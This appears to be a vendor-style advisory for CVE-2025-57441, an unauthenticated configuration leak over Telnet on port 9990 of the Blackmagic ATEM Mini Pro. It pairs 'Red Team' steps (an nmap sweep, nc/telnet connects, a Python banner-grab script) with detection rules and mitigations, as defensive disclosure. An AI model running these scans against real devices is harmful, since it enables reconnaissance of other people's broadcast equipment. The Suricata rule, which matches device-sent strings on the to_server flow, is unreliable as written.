CVE-2025-57441

Executive Summary

CVE-2025-57441 exposes a critical information disclosure vulnerability in the Blackmagic ATEM Mini Pro running firmware version 2.7. The device runs an unauthenticated Telnet service on TCP port 9990 that leaks sensitive device and stream configuration data upon connection. This includes video mode, routing configuration, input/output labels, device model, and internal unique identifiers. The vulnerability requires no authentication and can be exploited remotely, making it a significant reconnaissance vector for attackers planning further attacks against broadcast infrastructure.

This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby) and is a hardware/firmware issue.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – sensitive configuration data is exposed.
• Integrity (I): None (N) – no data modification.
• Availability (A): None (N) – no denial of service.

CVSS Score: 7.5 (High) – primarily due to the ease of exploitation and the high confidentiality impact.

Threat Level: High. The vulnerability allows unauthenticated remote attackers to gather detailed device intelligence, which can be used to tailor subsequent attacks (e.g., credential theft, firmware manipulation, or denial of service).

Deep Dive & Mechanics

The Blackmagic ATEM Mini Pro 2.7 exposes a Telnet service on TCP port 9990 that is intended for internal diagnostics or configuration. However, the service does not require any authentication. Upon establishing a TCP connection, the device immediately sends a protocol preamble containing a wealth of sensitive information:

• Video Mode: Current video standard (e.g., 1080p, 2160p).
• Routing Configuration: Which inputs are mapped to which outputs.
• Input/Output Labels: User-defined names for video sources and destinations.
• Device Model: Exact model identifier (e.g., ATEM Mini Pro).
• Unique ID: Internal hardware or software identifier that can be used to track or fingerprint the device.

The information is transmitted in plaintext over the Telnet protocol. An attacker can simply use netcat or telnet to connect and capture the preamble. No further interaction is required.

Attack Flow:

1. Scan for open port 9990 on target IP ranges.
2. Connect to the Telnet service.
3. Capture the preamble data.
4. Analyze the data for reconnaissance (e.g., identify device model, video settings, labels).
5. Use the gathered intelligence to plan further attacks (e.g., brute-force credentials, exploit other services, or disrupt broadcast operations).

Vulnerable vs. Patched Code

No patched version is available. The vulnerability exists in firmware version 2.7. The vendor (Blackmagic) has not released a fix or acknowledged the issue. The vulnerable code is part of the embedded firmware's Telnet service implementation, which does not enforce authentication before sending the preamble.

Vulnerable Behavior (Firmware 2.7):

• Telnet service on port 9990 accepts connections without authentication.
• Immediately sends a protocol preamble containing sensitive data.

Expected Patched Behavior:

• Telnet service should require authentication before sending any data.
• Alternatively, the preamble should be removed or sanitized to exclude sensitive information.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target device running Blackmagic ATEM Mini Pro firmware 2.7.
• Network access to port 9990 on the target.

Exploitation Steps:

1. Scan for vulnerable devices:

   nmap -p 9990 --open -sV <target_network>/24
   

2. Connect to the Telnet service and capture the preamble:

   nc -nv <target_ip> 9990
   

   Or using telnet:

   telnet <target_ip> 9990
   

3. Automated extraction script (Python):

   import socket
   import sys
   
   def exploit(target_ip, port=9990):
       try:
           s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
           s.settimeout(10)
           s.connect((target_ip, port))
           data = s.recv(4096)
           print(f"[+] Received preamble from {target_ip}:{port}")
           print(data.decode('utf-8', errors='ignore'))
           s.close()
       except Exception as e:
           print(f"[-] Error: {e}")
   
   if __name__ == "__main__":
       if len(sys.argv) != 2:
           print("Usage: python exploit.py <target_ip>")
           sys.exit(1)
       exploit(sys.argv[1])
   

4. Analyze the output: Look for lines containing Video Mode:, Model:, Unique ID:, etc.

Blue Team (Detection & Defense)

Detection:

• Monitor for connections to port 9990 from unexpected external IPs.
• Use network intrusion detection systems (NIDS) to alert on Telnet traffic to port 9990.
• Implement host-based monitoring to detect unauthorized access to the device.

Defense:

• Restrict access to port 9990 using firewall rules (allow only trusted management IPs).
• Disable Telnet service if not required (check device settings).
• Upgrade firmware if a patch becomes available.
• Use network segmentation to isolate broadcast equipment from general IT networks.

Indicators of Compromise (IOCs)

• Network IOCs:

  • TCP connections to port 9990 on Blackmagic ATEM Mini Pro devices.
  • Telnet traffic containing strings like Video Mode:, Model:, Unique ID:.
  • Source IPs scanning for port 9990 (e.g., using nmap or masscan).

• Host IOCs:

  • Unauthorized Telnet sessions in device logs (if logging is enabled).
  • Changes to device configuration after reconnaissance (e.g., altered labels or routing).

• File IOCs:

  • Captured preamble data saved as text files (e.g., preamble_<ip>.txt).

Detection Engineering

YARA Rule

rule CVE_2025_57441_ATEM_Preamble {
    meta:
        description = "Detects Blackmagic ATEM Mini Pro Telnet preamble containing sensitive configuration data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57441"
        hash = "unknown"
    strings:
        $s1 = "Video Mode:" ascii wide nocase
        $s2 = "Model:" ascii wide nocase
        $s3 = "Unique ID:" ascii wide nocase
        $s4 = "Input Label:" ascii wide nocase
        $s5 = "Output Label:" ascii wide nocase
        $s6 = "Routing:" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: Blackmagic ATEM Mini Pro Telnet Preamble Leak
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects network traffic containing the Telnet preamble from Blackmagic ATEM Mini Pro devices, indicating exploitation of CVE-2025-57441.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-57441
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 9990
        protocol: tcp
        payload|contains:
            - "Video Mode:"
            - "Model:"
            - "Unique ID:"
    condition: selection
falsepositives:
    - Legitimate administrative access to the device (if authentication is enabled)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 9990 (msg:"CVE-2025-57441 Blackmagic ATEM Mini Pro Telnet Preamble Leak"; flow:to_server,established; content:"Video Mode:"; nocase; content:"Model:"; nocase; content:"Unique ID:"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Firewall Restriction: Block inbound access to port 9990 from untrusted networks. Use ACLs to allow only specific management IPs.
2. Disable Telnet: If the Telnet service is not required for operations, disable it via the device's web interface or configuration menu.
3. Network Segmentation: Place ATEM devices on a dedicated VLAN with strict access controls.

Long-Term Actions:

1. Vendor Contact: Pressure Blackmagic to release a firmware patch that adds authentication to the Telnet service or removes the preamble.
2. Monitor for Updates: Regularly check Blackmagic's support page for firmware updates.
3. Alternative Management: Use SSH or HTTPS-based management if available, instead of Telnet.

Workaround:

• If Telnet is required, implement a VPN or SSH tunnel to access the device, ensuring that the Telnet traffic is not exposed to the network.

Valters IT
DevSecOps & Cyber Threat Intelligence